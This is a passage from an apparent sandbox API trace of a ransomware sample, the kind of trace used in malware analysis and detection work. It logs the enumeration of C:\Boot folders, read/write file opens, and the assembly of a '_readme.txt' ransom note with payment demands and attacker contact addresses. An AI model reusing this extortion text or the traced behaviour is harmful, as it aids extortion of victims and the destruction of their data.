ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.769] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.769] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.769] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.770] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned=".mui" [0111.770] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.770] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1afa0 | out: hHeap=0x5010000) returned 1 [0111.770] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.770] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.770] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.770] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36078 | out: hHeap=0x5010000) returned 1 [0111.770] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.770] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36078 [0111.770] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.770] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.770] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.770] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.770] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.770] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.770] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.770] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.770] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.770] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.770] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.770] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.770] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.770] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.770] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.770] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.770] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.770] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.770] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.771] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.771] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.771] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.771] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.771] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.771] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.771] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.771] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.771] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.771] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.771] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.771] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.771] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.771] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.771] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.771] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.772] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.774] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.774] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.774] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.774] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.774] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.774] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.774] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.774] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.774] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.774] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.774] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.774] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.774] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0111.774] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.774] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.774] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.774] PathFindFileNameW (pszPath="") returned="" [0111.774] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.774] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.774] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.774] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.775] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.775] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.775] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.775] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.775] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0111.775] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.775] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0111.775] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b162e0 [0111.775] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.775] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.775] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.775] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.775] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.775] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.775] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.776] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.776] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.776] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\bootmgr.exe.mui") 